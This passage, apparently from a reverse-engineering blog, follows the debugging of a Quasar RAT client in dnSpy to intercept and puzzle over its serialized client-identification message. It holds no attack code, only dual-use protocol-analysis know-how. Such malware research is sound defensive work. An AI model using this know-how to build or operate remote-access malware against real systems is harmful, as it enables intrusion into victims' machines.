We must find the QuasarClient class manually and from there navigate to the OnClientState** function**(I advise the reader to read this a few times and to play around with the source code to fully understand what this means as this is very important to understand how the client behaves, and having the source code is just a privilege to expand on our researching and coding skills). "But Danus! How will we find it in this mess of unnamed functions? " The answer to that is very simple, let us return toClass0 which is Program.cs:

So Gclass27 is QuasarClient , lets rename it so it would be easier to navigate to it, then we'll access this class by double clicking it and try to find OnClientState Manually.

Here it is, let's place a breakpoint on line 79 , and set a breakpoint inside the PayloadWriter WriteBytes function we found earlier which is located inside dnspy under Stream1, method02. On line 79 Class18 is created, and then passed into the send function. Class 18 is called ClientIdentification within the source code of Quasar:

Which is the message constructor and if we continue the execution up until the payload writer, we can see the contents of this message:

And we just intercepted the entire message. Easy. But how ever I do want to note something strange, there are only 14 members inside the ClientIdentification class but here inside the debugged message there are 28?

In addition, in line 38 the message gets copied into a stream and serialized then the length of the message is sent and then the raw bytes returned from the serializer function are sent. What in the hell is a Serializer and why are there 28 items in the message protocol when there should be only 14? Also look at the contents of the message after it gets serialized. First let's debug the program until line 40 and view the contents of the array variable by right click it and then clicking on show memory window.

One can recognize some the message text but there are so many extra bytes here that just don't make sense at all.